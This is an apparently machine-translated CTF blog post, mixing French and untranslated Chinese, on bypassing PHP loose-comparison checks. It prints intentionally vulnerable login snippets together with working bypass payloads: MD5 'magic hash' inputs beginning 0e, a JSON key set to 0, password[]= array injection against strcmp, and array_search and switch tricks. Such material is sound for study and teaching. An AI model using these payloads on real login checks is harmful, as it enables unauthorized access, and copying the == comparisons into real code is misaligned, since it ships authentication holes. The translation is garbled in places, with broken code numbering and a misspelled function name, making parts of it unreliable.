Le contenu partagé avec vous dans cet article concerne la conversion de type faible en php. Le contenu a une grande valeur de référence. J'espère qu'il pourra aider les amis dans le besoin.
Lors du récent concours CTF, la question des types PHP faibles est apparue plus d'une fois. Je voudrais résumer les types PHP faibles et comment les contourner
<.>2 Introduction aux connaissances Il y a deux symboles de comparaison en php == et ===1 <?php 2 $a = $b ; 3 $a===$b ; 4 ?>
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
Il est clairement indiqué ici que si une valeur et un caractère Lorsque les chaînes sont comparées, les chaînes seront converties en valeurs numériques
1 <?php 2 var_dump("admin"==0); //true 3 var_dump("1admin"==1); //true 4 var_dump("admin1"==1) //false 5 var_dump("admin1"==0) //true 6 var_dump("0e123456"=="0e4456789"); //true 7 ?> //上述代码可自行测试
2 "1admin"==1 Lors de la comparaison, 1admin sera converti en valeur numérique, et le résultat est 1, mais "admin1"==1 est égal à une erreur, c'est-à-dire que "admin1" est converti en 0, pourquoi ? ? 3 "0e123456"=="0e456789" Lorsqu'elles sont comparées les unes aux autres, les chaînes telles que 0e seront reconnues comme des nombres en vertu de la loi scientifique et technologique. Quel que soit le nombre de puissances de 0, c'est zéro, elles sont donc égales
.
Pour le problème ci-dessus, j'ai vérifié le manuel PHP
Lorsqu'une chaîne est traitée comme une valeur numérique, le résultat et le type sont les suivants : Si la chaîne le fait ne contient pas '.', 'e', 'E' et sa valeur numérique est comprise dans la plage d'un entier La chaîne est traitée comme un int Dans tous les autres cas, elle est traitée comme un float La partie de départ. de la chaîne est déterminée. Sa valeur est utilisée si la chaîne commence par une valeur numérique légale, sinon sa valeur est 0.
1 <?php 2 $test=1 + "10.5"; // $test=11.5(float) 3 $test=1+"-1.3e3"; //$test=-1299(float) 4 $test=1+"bob-1.3e3";//$test=1(int) 5 $test=1+"2admin";//$test=3(int) 6 $test=1+"admin2";//$test=1(int) 7 ?>
1 <?php 2 if (isset($_GET['Username']) && isset($_GET['password'])) { 3 $logined = true; 4 $Username = $_GET['Username']; 5 $password = $_GET['password']; 6 7 if (!ctype_alpha($Username)) {$logined = false;} 8 if (!is_numeric($password) ) {$logined = false;} 9 if (md5($Username) != md5($password)) {$logined = false;} 10 if ($logined){ 11 echo "successful"; 12 }else{ 13 echo "login failed!"; 14 } 15 } 16 ?>
0e sera considéré comme une notation scientifique lors de la comparaison, donc peu importe ce qui vient après 0e, la puissance de 0 est toujours 0. md5('240610708') == md5('QNKCDZO')Contourné avec succès !
QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514
<?php if (isset($_POST['message'])) { $message = json_decode($_POST['message']); $key ="*********"; if ($message->key == $key) { echo "flag"; } else { echo "fail"; } } else{ echo "~~~~"; } ?>
mais nous pouvons utiliser la forme 0== "admin" à contourner
Final payload message={"key":0}
array_search is_array bypass1 <?php 2 if(!is_array($_GET['test'])){exit();} 3 $test=$_GET['test']; 4 for($i=0;$i<count($test);$i++){ 5 if($test[$i]==="admin"){ 6 echo "error"; 7 exit(); 8 } 9 $test[$i]=intval($test[$i]); 10 } 11 if(array_search("admin",$test)===0){ 12 echo "flag"; 13 } 14 else{ 15 echo "false"; 16 } 17 ?>
mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )
1 <?php 2 $a=array(0,1); 3 var_dump(array_search("admin",$a)); // int(0) => 返回键值0 4 var_dump(array_seach("1admin",$a)); // int(1) ==>返回键值1 5 ?>
strcmp pour contourner php -v < 5.3
strcmp compare deux chaînes Si str11 <?php 2 $password="***************" 3 if(isset($_POST['password'])){ 4 5 if (strcmp($_POST['password'], $password) == 0) { 6 echo "Right!!!login success";n 7 exit(); 8 } else { 9 echo "Wrong password.."; 10 } 11 ?>
Nous ne le sommes pas. Si vous connaissez la valeur de $password, la question exige que la valeur acceptée jugée par strcmp soit égal à $password. Le type attendu transmis par strcmp est un type chaîne Que se passera-t-il si un tableau est transmis
Nous transmettons le mot de passe[]=xxx peut être contourné car la fonction reçoit un type incompatible ? et une erreur se produira, mais elle est toujours jugée égale
payload: password[]=xxx
switch bypass
Ce principe est similaire au le précédent, donc je ne l'expliquerai pas en détail1 <?php 2 $a="4admin"; 3 switch ($a) { 4 case 1: 5 echo "fail1"; 6 break; 7 case 2: 8 echo "fail2"; 9 break; 10 case 3: 11 echo "fail3"; 12 break; 13 case 4: 14 echo "sucess"; //结果输出success; 15 break; 16 default: 17 echo "failall"; 18 break; 19 } 20 ?>
4 Résumé
Exemples d'utilisation du mot-clé var en PHP
Traitement de la file d'attente php : principe d'implémentation de la file d'attente de messages PHP (texte de la figure)
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!